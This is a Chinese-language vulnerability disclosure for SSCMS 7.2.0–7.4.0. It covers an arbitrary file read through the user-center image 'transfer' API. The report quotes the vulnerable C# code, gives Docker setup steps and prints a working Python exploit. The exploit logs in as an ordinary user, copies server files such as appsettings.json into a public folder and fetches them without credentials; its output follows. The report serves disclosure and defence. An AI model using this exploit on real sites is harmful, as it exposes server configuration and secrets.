siteserver SSCMS 漏洞报告
软件名称:SSCMS
开发者或厂商:siteserver
代码仓库:https://github.com/siteserver/cms
1. 用户中心图片转存导致任意文件读取
| 简要描述: | 普通用户可以把服务器上其它目录的文件转存到自己的公开目录,再匿名取回。取回时受后缀名限制。 |
|---|---|
| 影响版本: | 7.2.0 ~ 7.4.0 |
| 漏洞引入: | siteserver/cms commit e79951f1 |
| 前置条件: | 攻击者有普通用户账号(站点默认开放注册)。 |
漏洞成因
用户在用户中心的编辑器里确认图片时,前端调用 POST /api/home/common/form/layerImageUpload。请求体里的 siteId 为 0 时,该接口进入下面的分支:
// src/SSCMS.Web/Controllers/Home/Common/Form/LayerImageUploadController.Submit.cs:113-123 commit 09ab59b9dd
else
{
foreach (var filePath in request.FilePaths)
{
if (string.IsNullOrEmpty(filePath)) continue;
var fileName = PathUtils.GetFileName(filePath);
var userFilePath = _pathManager.GetUserUploadPath(_authManager.UserId, fileName);
FileUtils.CopyFile(filePath, userFilePath, true);
FileUtils.CopyFile 的源参数就是 filePaths 中的字符串,文件所在目录与扩展名都不受限制。目标路径由 GetUserUploadPath 拼出:
// src/SSCMS.Core/Services/PathManager.Root.cs:162-166,194-197 commit 09ab59b9dd
public string GetHomeUploadPath(params string[] paths)
{
var path = GetSiteFilesPath(DirectoryUtils.SiteFiles.Home, PathUtils.Combine(paths));
return path;
}
public string GetUserUploadPath(int userId, string relatedPath)
{
return GetHomeUploadPath(userId.ToString(), relatedPath);
}
wwwroot/sitefiles/home/{userId}/ 由静态文件中间件对外提供,转存进去的文件用 /sitefiles/home/{userId}/{fileName} 即可取回,取回时不需要登录。文件名取自源路径的最后一段,转存后的文件与源文件同名。
复现环境搭建
使用官方提供的 compose 文件:
mkdir sscms && cd sscms
wget https://raw.githubusercontent.com/siteserver/cms/master/docker/mysql/docker-compose.yml
echo "SSCMS_SECURITY_KEY=$(openssl rand -hex 16).$(openssl rand -hex 16)" > .env
sed -i 's|^ image: mysql$| image: mysql:8.0|' docker-compose.yml
sed -i 's|- "80:80"|- "80:8080"|' docker-compose.yml
docker compose up -d
官方文件未锁定 mysql 版本,mysql 标签当前为 26.10,已不接受文件里的 --default-authentication-plugin=mysql_native_password 启动参数,因此固定为 mysql:8.0。sscms/core 内的应用监听 8080,因此把宿主机 80 映射到容器 8080。其余按官方文件执行。打开 http://localhost/ss-admin/ 完成安装向导。
复现过程
打开注册页,注册用户名为 attacker、口令为 Attacker@123456 的普通用户:

登录后进入用户中心:

/app/appsettings.json、/app/SSCMS.Web.xml、/app/wwwroot/404.html、/app/SSCMS.dll 都是发布包自带的文件,其中前三个位于 web 根目录之外。执行下面的脚本:
import hashlib
import httpx
BASE = "http://127.0.0.1"
c = httpx.Client(base_url=BASE, timeout=60)
r = c.post("/api/v1/users/actions/login", json={
"account": "attacker", "password": hashlib.md5(b"Attacker@123456").hexdigest()})
print(r.text)
token = r.json()["accessToken"]
user_id = r.json()["user"]["id"]
r = c.post("/api/home/common/form/layerImageUpload",
headers={"Authorization": "Bearer " + token},
json={"siteId": 0,
"filePaths": ["/app/appsettings.json", "/app/SSCMS.Web.xml",
"/app/wwwroot/404.html", "/app/SSCMS.dll"]})
print(r.status_code, r.text)
for name in ["appsettings.json", "SSCMS.Web.xml", "404.html", "SSCMS.dll"]:
path = "/sitefiles/home/%d/%s" % (user_id, name)
r = c.get(path)
print("GET %s -> %d, %d bytes" % (path, r.status_code, len(r.content)))
脚本先以普通用户登录,再请求转存这四个文件,最后不带凭据取回,输出如下:
{"user":{"confirmPassword":"","userName":"attacker","lastResetPasswordDate":"2026-11-13 13:05:34","lastActivityDate":"2026-11-13 13:05:42","departmentId":0,"manager":false,"countOfLogin":1,"countOfFailedLogin":0,"checked":true,"locked":false,"displayName":"attacker","mobile":null,"mobileVerified":false,"email":null,"avatarUrl":null,"openId":null,"departmentName":null,"id":1,"guid":"db16739b-2960-4f5d-90d4-0d9d52c9ebaa","createdDate":"2026-11-13 13:05:34","lastModifiedDate":"2026-11-13 13:05:34"},"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiIxIiwidW5pcXVlX25hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJVc2VyIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9pc3BlcnNpc3RlbnQiOiJGYWxzZSIsIm5iZiI6MTc5NDU3NTE0MiwiZXhwIjoxNzk0NjYxNTQyLCJpYXQiOjE3OTQ1NzUxNDJ9.wbpPtq4uXoqBsAPWW3vwbWrPvCMUldmd-1nY2Sn2eWg"}
200 [{"imageUrl":"/sitefiles/home/1/appsettings.json","imageVirtualUrl":"/sitefiles/home/1/appsettings.json","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/SSCMS.Web.xml","imageVirtualUrl":"/sitefiles/home/1/SSCMS.Web.xml","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/404.html","imageVirtualUrl":"/sitefiles/home/1/404.html","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/SSCMS.dll","imageVirtualUrl":"/sitefiles/home/1/SSCMS.dll","previewUrl":null,"previewVirtualUrl":null}]
GET /sitefiles/home/1/appsettings.json -> 200, 965 bytes
GET /sitefiles/home/1/SSCMS.Web.xml -> 200, 7886 bytes
GET /sitefiles/home/1/404.html -> 200, 16432 bytes
GET /sitefiles/home/1/SSCMS.dll -> 404, 16432 bytes
转存请求对四个路径返回 200,接口为四个文件都返回了 imageUrl。取回时前三个返回 200、长度与源文件一致,SSCMS.dll 返回 404。转存不限制扩展名,能否取回取决于静态文件中间件对扩展名的判断,.dll 不在其放行之列。因此这条漏洞取回的是服务器上扩展名被静态文件中间件接受的文件。
该中间件由 Startup.cs 中的 app.UseStaticFiles() 注册,没有传入自定义的 ContentTypeProvider,放行的扩展名因此由 ASP.NET Core 的默认 MIME 映射表决定,共 381 项,清单如下:
.323 .3g2 .3gp .3gp2 .3gpp .aac .aaf .aca .accdb .accde
.accdt .acx .adt .adts .afm .ai .aif .aifc .aiff .appcache
.application .art .asd .asf .asi .asm .asr .asx .atom .au
.avi .axs .bas .bcpio .bin .bmp .c .cab .calx .cat
.cdf .chm .class .clp .cmx .cnf .cod .cpio .cpp .crd
.crl .crt .csh .css .csv .cur .dcr .deploy .der .dib
.dir .disco .dlm .doc .docm .docx .dot .dotm .dotx .dsp
.dtd .dvi .dvr-ms .dwf .dwp .dxr .eml .emz .eot .eps
.etx .evy .exe .fdf .fif .fla .flr .flv .gif .gtar
.gz .h .hdf .hdml .hhc .hhk .hhp .hlp .hqx .hta
.htc .htm .html .htt .hxt .ical .icalendar .ico .ics .ief
.ifb .iii .inf .ins .isp .IVF .jar .java .jck .jcz
.jfif .jpb .jpe .jpeg .jpg .js .json .jsx .latex .lit
.lpk .lsf .lsx .lzh .m13 .m14 .m1v .m2ts .m3u .m4a
.m4v .man .manifest .map .markdown .md .mdb .mdp .me .mht
.mhtml .mid .midi .mix .mjs .mmf .mno .mny .mov .movie
.mp2 .mp3 .mp4 .mp4v .mpa .mpe .mpeg .mpg .mpp .mpv2
.ms .msi .mso .mvb .mvc .nc .nsc .nws .ocx .oda
.odc .ods .oga .ogg .ogv .ogx .one .onea .onepkg .onetmp
.onetoc .onetoc2 .osdx .otf .p10 .p12 .p7b .p7c .p7m .p7r
.p7s .pbm .pcx .pcz .pdf .pfb .pfm .pfx .pgm .pko
.pma .pmc .pml .pmr .pmw .png .pnm .pnz .pot .potm
.potx .ppam .ppm .pps .ppsm .ppsx .ppt .pptm .pptx .prf
.prm .prx .ps .psd .psm .psp .pub .qt .qtl .qxd
.ra .ram .rar .ras .rf .rgb .rm .rmi .roff .rpm
.rtf .rtx .scd .sct .sea .setpay .setreg .sgml .sh .shar
.sit .sldm .sldx .smd .smi .smx .smz .snd .snp .spc
.spl .spx .src .ssm .sst .stl .sv4cpio .sv4crc .svg .svgz
.swf .t .tar .tcl .tex .texi .texinfo .tgz .thmx .thn
.tif .tiff .toc .tr .trm .ts .tsv .ttc .ttf .tts
.txt .u32 .uls .ustar .vbs .vcf .vcs .vdx .vml .vsd
.vss .vst .vsto .vsw .vsx .vtx .wasm .wav .wax .wbmp
.wcm .wdb .webm .webmanifest .webp .wks .wm .wma .wmd .wmf
.wml .wmlc .wmls .wmlsc .wmp .wmv .wmx .wmz .woff .woff2
.wps .wri .wrl .wrz .wsdl .wtv .wvx .x .xaf .xaml
.xap .xbap .xbm .xdr .xht .xhtml .xla .xlam .xlc .xlm
.xls .xlsb .xlsm .xlsx .xlt .xltm .xltx .xlw .xml .xof
.xpm .xps .xsd .xsf .xsl .xslt .xsn .xtp .xwd .z
.zip
映射表之外的扩展名一律返回 404,SSCMS.dll 即属于此类。清单取自 new FileExtensionContentTypeProvider().Mappings。